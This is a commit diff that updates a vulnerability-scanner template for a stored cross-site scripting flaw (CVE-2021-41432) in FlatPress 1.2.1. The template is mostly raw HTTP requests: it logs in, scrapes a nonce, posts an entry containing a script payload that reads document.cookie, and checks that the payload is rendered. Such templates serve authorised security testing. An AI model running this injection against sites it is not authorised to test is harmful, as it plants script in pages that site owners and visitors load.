Update CVE-2021-41432.yaml

patch-1
Ritik Chaddha 2022-10-14 12:05:11 +05:30 committed by GitHub
parent 7ecfa1c795
commit c3e5cd2b84
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 31 additions and 18 deletions

View File

@ -1,17 +1,20 @@
id: CVE-2021-41432 id: CVE-2021-41432
info: info:
name: FlatPress 1.2.1 - Cross-site scripting (XSS) name: FlatPress 1.2.1 - Cross-site scripting
author: arafatansari author: arafatansari
severity: medium severity: medium
description: | description: |
A stored cross-site scripting (XSS) vulnerability exists in FlatPress 1.2.1 that allows for arbitrary execution of JavaScript commands through blog content. A stored cross-site scripting (XSS) vulnerability exists in FlatPress 1.2.1 that allows for arbitrary execution of JavaScript commands through blog content.
reference: reference:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41432 - https://github.com/flatpressblog/flatpress/issues/88
- https://nvd.nist.gov/vuln/detail/CVE-2021-41432
classification:
cve-id: CVE-2021-41432
metadata: metadata:
verified: true
shodan-query: http.html:"Flatpress" shodan-query: http.html:"Flatpress"
verified: "true" tags: cve,cve2021,flatpress,xss,authenticated
tags: xss,cve,2021
requests: requests:
- raw: - raw:
@ -23,38 +26,48 @@ requests:
------WebKitFormBoundarykGJmx9vKsePrMkVp ------WebKitFormBoundarykGJmx9vKsePrMkVp
Content-Disposition: form-data; name="user" Content-Disposition: form-data; name="user"
admin {{username}}
------WebKitFormBoundarykGJmx9vKsePrMkVp ------WebKitFormBoundarykGJmx9vKsePrMkVp
Content-Disposition: form-data; name="pass" Content-Disposition: form-data; name="pass"
password {{password}}
------WebKitFormBoundarykGJmx9vKsePrMkVp ------WebKitFormBoundarykGJmx9vKsePrMkVp
Content-Disposition: form-data; name="submit" Content-Disposition: form-data; name="submit"
Login Login
------WebKitFormBoundarykGJmx9vKsePrMkVp-- ------WebKitFormBoundarykGJmx9vKsePrMkVp--
- |
GET /admin.php?p=entry&action=write HTTP/1.1
Host: {{Hostname}}
- | - |
POST /admin.php?p=entry&action=write HTTP/1.1 POST /admin.php?p=entry&action=write HTTP/1.1
Host: {{Hostname}} Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded Content-Type: application/x-www-form-urlencoded
_wpnonce=4150bd5fe5&_wp_http_referer=%2Fadmin.php%3Fp%3Dentry%26action%3Dwrite&subject=abcd&timestamp=&entry=&attachselect=--&imageselect=--&content=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&save=Publish _wpnonce={{nonce}}&_wp_http_referer=%2Fadmin.php%3Fp%3Dentry%26action%3Dwrite&subject=abcd&timestamp=&entry=&attachselect=--&imageselect=--&content=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&save=Publish
- | - |
GET /index.php/2022/10/10/abcd/ HTTP/1.1 GET /index.php/2022/10 HTTP/1.1
Host: {{Hostname}} Host: {{Hostname}}
req-condition: true
cookie-reuse: true cookie-reuse: true
redirects: true
max-redirects: 2
matchers-condition: and
matchers: matchers:
- type: status - type: dsl
status: dsl:
- 200 - "contains(all_headers_4, 'text/html')"
- "status_code_4 == 200"
- type: word - "contains(body_4, '<p><script>alert(document.cookie)</script></p>')"
words: - "contains(body_4, 'FlatPress')"
- "<script>alert(document.cookie)</script>"
condition: and condition: and
extractors:
- type: regex
name: nonce
part: body
group: 1
regex:
- 'name="_wpnonce" value="([0-9a-z]+)" />'
internal: true